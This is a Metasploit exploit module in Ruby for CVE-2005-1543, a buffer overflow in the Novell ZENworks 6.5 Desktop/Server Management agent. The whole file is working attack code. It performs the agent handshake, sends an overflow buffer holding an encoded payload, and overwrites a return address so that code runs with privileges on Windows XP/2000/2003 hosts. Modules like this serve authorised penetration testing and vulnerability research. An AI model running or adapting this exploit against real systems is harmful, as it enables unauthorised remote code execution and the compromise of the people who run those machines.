##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
        'Description' => %q{
          This module exploits a heap overflow in the Novell ZENworks
          Desktop Management agent. This vulnerability was discovered
          by Alex Wheeler.
        },
        'Author' => [ 'Unknown' ],
        'License' => BSD_LICENSE,
        'References' => [
          [ 'CVE', '2005-1543'],
          [ 'OSVDB', '16698'],
          [ 'BID', '13678'],

        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 32767,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          [
            'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
            {
              'Platform' => 'win',
              'Ret' => 0x10002e06
            },
          ],
        ],
        'DisclosureDate' => '2005-05-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    connect

    hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
    print_status('Sending version identification')
    sock.put(hello)

    pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
    ident = sock.get_once
    if !(ident and ident.length == 16)
      print_error('Failed to receive agent version identification')
      return
    end

    print_status('Received agent version identification')
    print_status('Sending client acknowledgement')
    sock.put("\x00\x01")

    # Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
    sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")

    sock.get_once
    sock.put("\x00\x01")
    sock.put("\x00\x02")

    print_status('Sending final payload')
    sock.put("\x00\x24" + ('A' * 0x20) + [ target.ret ].pack('V'))

    print_status('Overflow request sent, sleeping for four seconds')
    select(nil, nil, nil, 4)

    handler
    disconnect
  end
end